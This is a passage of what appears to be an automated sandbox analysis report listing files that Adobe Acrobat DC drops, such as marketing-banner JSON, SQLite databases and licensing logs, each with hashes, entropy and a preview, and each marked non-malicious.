Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_0","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"0924134e-3c59-4f53-b731-add558c56fec","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuZm9ybXMgJiBhZ3JlZW1lbnRzLiJ9LCJ0Y2F0SWQiOm51bGx9","dataType":"application\/json","encodingScheme":true},"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.277379628855321
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDciHsAR5pYmSg1c2LjcWkHvR0YQqoAvJfQ1rPeUkwRe9:YvXKXTMAR5BT5LjIP0ZGY16Ukee9
MD5:	B97D2A7F1951F396FF3E6FF32AFAFAE7
SHA1:	0E449D011F1FF608CE494C588BCA0DB33F9D081D
SHA-256:	6ECAE86D958163F19EDADCF74CEADE965E524D99C1B6EF25FA9D70EC3879BF9D
SHA-512:	FFAF88B1DF09E43F64BAD4800364E030476D8ADFF1DE3805E0BB1857A998D4020273943B26F106558A7084A868A798B348BD99D8E73A4014330E34EFB59CDEFF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1038
Entropy (8bit):	5.655976548055895
Encrypted:	false
SSDEEP:	24:Yv6XTM+5BT5XIst2LgEF7cciAXs0nl0RCmK8czOCAPtciB7A:Yvp+57XDogc8hAh8cvAq
MD5:	8C29B04F55FF4CD4B3E6CADE3136BE76
SHA1:	01ED9F73C2605893B3B8148B7A7E058FBFB9C906
SHA-256:	D321745A9E0E871B0C06F6AE7B4FF52D31F5E5477FE4395B4A411F5DD0277D71
SHA-512:	E3119B2870CAD6068DF109A64A37FDE1A2044A99B7661E98BDA1E65A5F25F119ABE607A291D29573CF00D7B5100DADAB94F1AB29AD442EE13F42A7BCC0C17565
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_1","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"49d2f713-7aa9-44db-aa50-0a7a22add459","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVkaXQgdGV4dCwgaW1hZ2VzLCBwYWdlcywgYW5kIG1vcmUuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"application\/json","encodingScheme":true},"endDTS":1744

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.703736110293048
Encrypted:	false
SSDEEP:	24:Yv6XTM+5BT5XIsFKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK57A:Yvp+57XPEgqprtrS5OZjSlwTmAfSK2
MD5:	FF330A54F4B08AB229E57A6D75681822
SHA1:	D2310E8123040BAE43CDEE7DC3994694124B5EA3
SHA-256:	31A3A8250923E1009C8B0D3C79E08C1F87172F07214F0AFACA211D2376342627
SHA-512:	97239DE8C3FBF59C60D2D548C85A6306EB70FE979445E417681BE690357E2F865E988F7A657531FD5D2B9609E78D19AC655A258CA53C4CD2E9EDE32196DF42FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29231629520542
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDciHsAR5pYmSg1c2LjcWkHvR0YQqoAvJfYdPeUkwRe9:YvXKXTMAR5BT5LjIP0ZGg8Ukee9
MD5:	028C08E304459E9D7F0F365E471B6395
SHA1:	E33EA70254D3C6565F6E48BA30B4CF856AEA7A68
SHA-256:	296EEA4A44868D740F8DDDC52B6D0007D81F15FD480870376CBAE8E7240222CE
SHA-512:	8E5AF4478E57C542A517B12FDBD8733D9BBED9BB484EA3244F5B7347F5A7D1280C828AD26F2DF3E8EC61B984CFAD9FCECFE1A99507651707AF34D2ABBC5B81C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.776108908716778
Encrypted:	false
SSDEEP:	24:Yv6XTM+5BT5XIs4rLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJNjA:Yvp+57XSHgDv3W2aYQfgB5OUupHrQ9F8
MD5:	58E83F8BAC0F0B72303F8FAF70D878C1
SHA1:	4D3E4A38D66D079129DFFC8AFB4001D207EFAD4E
SHA-256:	00181D8A292C9FFCBE250D74C0DEC0B19F6D7583964AD7373E01A52B22EEFED6
SHA-512:	099BD229AB4D22D355D339D1235106EF0829D8F6270C23490CF8C9BE9B3F2C709CDBE377F05E468F68121781E6BC85EA6296FDBDAE7310A49B3CE7B1083E7AE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.275916201846945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDciHsAR5pYmSg1c2LjcWkHvR0YQqoAvJfbPtdPeUkwRe9:YvXKXTMAR5BT5LjIP0ZGDV8Ukee9
MD5:	B161D90C7D74DC60755F19A5524A7FF1
SHA1:	F37649F78A0F7F785D42DC42FAE28D3FC9AD4E66
SHA-256:	4398B6E066BFDC38F5C8DF244BA6DAA766D14D140F62DC64C38887F88DE36A00
SHA-512:	43FC9C36CC81BB67536F5A24CAFD74436E608B5A9022C1BA2C237501CC93FDFF900A53B954DEA18EBE7E412F46383157F290F035B621ECE6BAB6DEFDD8396386
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.268180021611064
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDciHsAR5pYmSg1c2LjcWkHvR0YQqoAvJf21rPeUkwRe9:YvXKXTMAR5BT5LjIP0ZG+16Ukee9
MD5:	5BDFD69B672A3206E68F79E8F54BAE7B
SHA1:	950EC11458F83FE3DFF8ADDB9D42CEA74A1A97D8
SHA-256:	204C21C0EE60ADC99B17173D516E75184485CE552E8C702F43C57DC936351885
SHA-512:	A822288EE6A9ED974570BFF5DC296F674E2447BCE2F72804B26029885E01048908DC83DE99AFE67BFFE270021C0E44DB15168ED8A7AC9B7BF01DE69A055AABBA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1058
Entropy (8bit):	5.666463720204754
Encrypted:	false
SSDEEP:	24:Yv6XTM+5BT5XIsiamXayLgEFRcONaqnl0RCmK8czOC+w2E+tg8B7A:Yvp+57XuBguOAh8cv+NKf
MD5:	28861D8D2B132C496FD1E047E083A52A
SHA1:	3DAF6005D9000E77DEBA203E9F0220FC90542694
SHA-256:	6E36AAC247913BC62FD48BFD7DF822A83071162BC2C584E234952B19C99CBF47
SHA-512:	C89DE78EFA4168A6BDE1D4CE7184F67C9E3479A9586404108F0A844F1F83DD3DCDD6492997F9928543B677293D4A5AC29BE406A65D1C03EBB792C681286F4827
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_3","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"ece07729-7db6-4f20-9f8d-7976ad373049","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IlNlbmQgZG9jdW1lbnRzICYgZm9ybXNcbmZvciBmYXN0IGUtc2lnbmluZyBvbmxpbmUuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"application\/json","encodingScheme"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.244164766574197
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDciHsAR5pYmSg1c2LjcWkHvR0YQqoAvJfshHHrPeUkwRe9:YvXKXTMAR5BT5LjIP0ZGUUUkee9
MD5:	3FD6E4C4B1FA080087108B28A1129580
SHA1:	4A6E0A988744135FFC03DBB80027DF29C58CB10E
SHA-256:	F22B9BD4795B707425EFEBE7A56555822B489569AF04563EDAB2BE75FF9F794F
SHA-512:	252A8B182264427A4241E28247D5629795AAB98377B08337D69BDF346532DFA55C0442EF303F4E55A8758BADF6854F0666B2ECF701454F37A8DBF2F4BC4AC50F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.367610981167745
Encrypted:	false
SSDEEP:	24:Yv6XTM+5BT5XIs1168CgEXX5kcIfANhkA:Yvp+57X388Cgs5Fvd
MD5:	047E411B978A94AD74979387B69EB611
SHA1:	FFA2321244DCF8719940FF1DE9EE0B67CB110ED7
SHA-256:	3FA564AEE90BEBB9BA954C6463FFA05277544E9A1EBA9458EA4FED3238DCE394
SHA-512:	9923CF3EACDD3C6B8BBE812009D6A4E0DDC4A77D3E748119BE7B3D843DB27CF2BA70A78960418A27B57403D4A5B7F32B965FD5219E18A1012CBCC13A924E6D21
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c96eaf-3e71-4672-859e-ffa4af1c1112","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1725783470082,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1725609230110}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2818
Entropy (8bit):	5.128532808284074
Encrypted:	false
SSDEEP:	24:YKZWqL2pWGaZxt3ayxWJrTW67WRCOrWG8V7zWJiaZWfKWRxWPjfj0SLWfnsB/2WZ:Y6PnU89tg6iaJr6BQp6plM1VCE7979
MD5:	101BAE166A3307DF840AA4E1CEC0B339
SHA1:	0A9DCE349119290C7218DF54A759553DF43FF7C7
SHA-256:	ADD3A01CDBB09CD98B79AB99C8646EC2252B0D46527BF07DBDFC0A19C6A76C2E
SHA-512:	947DB9CF3AD63E5FBBD765C7B484772E23E175F66587703B32DD31573D00AF5E5463F7F610CF25EA3100D06BEB42114E30F610291A7F102A8557956A09A2D49E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a3177e020e2659842ae618f664bef76f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1050,"ts":1725609229000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"8dc4c48f3ebebd81b9ce5f5a2cbd81e1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1725609229000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"516d6674ce0a6161bcc087fa02ed2f65","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1058,"ts":1725609229000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"59fa05de7d285246e7f4c81c5336a4a1","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1063,"ts":1725609229000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"c0c6dec9a25d5208c0c5d46419a284cb","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1038,"ts":1725609229000},{"id":"Edit_InApp_Aug2020","info":{"dg":"be9fb14c4fe0c4d04434fe4a5d428694","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":17

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.36621953100739
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuAd6PXKdqEKfS8EKfM1ba4d6PF:Tll2GL7msMcKTlS8fcsuAd6EfI4d6d
MD5:	BEC39A5A40489D007366AD0BE3BF4B44
SHA1:	43C2E5B0FA53372B8BDC1E50C014C27BF7299EAC
SHA-256:	231FA886C314A16E52FE687FC285DD5C555021C53ADB605B0605FD20B27FC415
SHA-512:	43997FED62C2C5A485FC4B45BF65D20B7ACB7C969707A7BB004BFB4AE05EDDB64AA3DC52C87536D22EB19005E8539768E037BDC647220953DCB7E45C14F508DE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.843426054139733
Encrypted:	false
SSDEEP:	24:7+t9Z6bqyKn6ylSTofcNqDuAd6P+KdqEKfS8EKfM1banbqvqLKufx/XYKQvGJF77:7MvcKTlS8fcsuAd6dfIqqGufl2GL7ms3
MD5:	798CF2F87C056E16D61A948714F609C6
SHA1:	C57D104BDAA7C02ED324AAEF6617DEB845E16B0D
SHA-256:	A10A090D76588EF837ECD4DA8989F40E42A0EB63D7C55BD6E8F565C3930B90EA
SHA-512:	417AC79B5F66A6E723F219645D8D37440C3579B2BAE86E957280688495C0CA7700BB5335C866C19FDCCDF10BC731552877C5E39AE39E3D08BC3483F5B58D7323
Malicious:	false
Preview:	.... .c.....)..h..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI77440.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5553319929546836
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Uow:Qw946cPbiOxDlbYnuRK8t
MD5:	485D78C82F9067BD9C1AB4DAF39AB48B
SHA1:	10680CDB30C5735011B34EDEB6D85E9765F4C7E4
SHA-256:	06A22F22A6E699A06A5F2E5B5246037DB65456CEA13A641611068DDF0A3A1B89
SHA-512:	572552C46D32010440DB63D7BA62B2037E065ACDC61C9D841C32DB4FC50645066EAF4F4FD05D7C4605C78B974C9553B0D70B2EA339DED79681498440B27E4B86
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.6./.0.9./.2.0.2.4. . .0.3.:.5.3.:.4.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-09-06 03-53-43-686.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.357507771771891
Encrypted:	false
SSDEEP:	384:dFJg5JEoe4bjSFt2V3zFbABxS5AYzAYFk3nlD7FjSFrTZBBE0fb3qBqrSZ3aqV17:Avo
MD5:	914708DCB091AEDD6ACE855319287C2F
SHA1:	AB3FAAAEAD830DC0C566A14F5BABA6283D299C5F
SHA-256:	7719CF36EC47FD7C9797FC445CF09C3D4F3911D2910FF330C9039AE489117C78
SHA-512:	4DE595AAEE64CBF51EBED671CA44590E1E97C656AEEC03853570F5FD52EC60E2733B688527360C4509FA2C4A32097209219ED3E16BE7083C6ACDE5DB66CA6D67
Malicious:	false
Preview:	SessionID=4cc078b9-4b86-4527-ad78-2335251d44be.1725609223712 Timestamp=2024-09-06T03:53:43:712-0400 ThreadID=1048 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=4cc078b9-4b86-4527-ad78-2335251d44be.1725609223712 Timestamp=2024-09-06T03:53:43:714-0400 ThreadID=1048 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=4cc078b9-4b86-4527-ad78-2335251d44be.1725609223712 Timestamp=2024-09-06T03:53:43:714-0400 ThreadID=1048 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=4cc078b9-4b86-4527-ad78-2335251d44be.1725609223712 Timestamp=2024-09-06T03:53:43:714-0400 ThreadID=1048 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=4cc078b9-4b86-4527-ad78-2335251d44be.1725609223712 Timestamp=2024-09-06T03:53:43:714-0400 ThreadID=1048 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398079356000369
Encrypted:	false
